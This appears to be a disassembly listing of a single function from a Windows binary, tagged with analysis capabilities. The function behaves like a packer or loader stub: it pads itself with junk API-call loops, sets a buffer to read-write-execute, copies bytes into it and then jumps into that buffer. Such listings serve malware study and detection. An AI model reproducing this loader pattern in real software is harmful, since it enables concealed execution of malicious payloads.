Function at 0x40529b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040eb60
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4052de
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x4052ef
inc edi
cmp edi, 0x67d12
jl 0x4052af
cmp dword [0x246ae54], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
jne 0x4053ac
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push 0x404d90
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
call fcn.0040663e
pop ecx
push esi
call fcn.00405e0b
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00406390
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x14]
call fcn.00405e33
lea ecx, [ebp - 0x14]
call fcn.00405e6f
push esi
call fcn.004061d8
pop ecx
push esi
call fcn.004061ee
pop ecx
push esi
push esi
call fcn.00405df4
push esi
push esi
call fcn.00406366
push esi
call fcn.004067a9
add esp, 0x14
push esi
call fcn.0040631c
pop ecx
add dword [0x246ae54], 0x1134b
push dword [0x246ae54]
mov eax, dword [0x443b5c]
push esi
mov dword [0x246bc90], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x246ae54]
mov dword [0x246a8e4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x4053ea
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edi, edi
cmp dword [0x246ae54], esi
jbe 0x40545b
mov eax, dword [0x246bc90]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x246a8e4]
mov byte [ecx + edi], al
cmp dword [0x246ae54], 0x490
jne 0x405452
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x246ae54]
jb 0x40540e
xor edi, edi
mov eax, dword [0x246ae54]
add eax, edi
cmp eax, 0x8d
jne 0x40549a
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x404d8c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x40545d
call fcn.004051c1
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4054c9
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x936e
mov eax, dword [ebp - 4]
add dword [0x246a8e4], eax
inc edi
cmp edi, 0x674bd
jl 0x4054aa
push 0x7b
pop edi
cmp dword [0x246ae54], 0x86
jne 0x405521
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x820]
push eax
push 0x404de0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x246ae54], 0xf
jne 0x405534
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec edi
jne 0x4054d5
push 0x404df8
call ebx
call dword [0x246a8e4]
pop edi
pop esi
pop ebx
leave
ret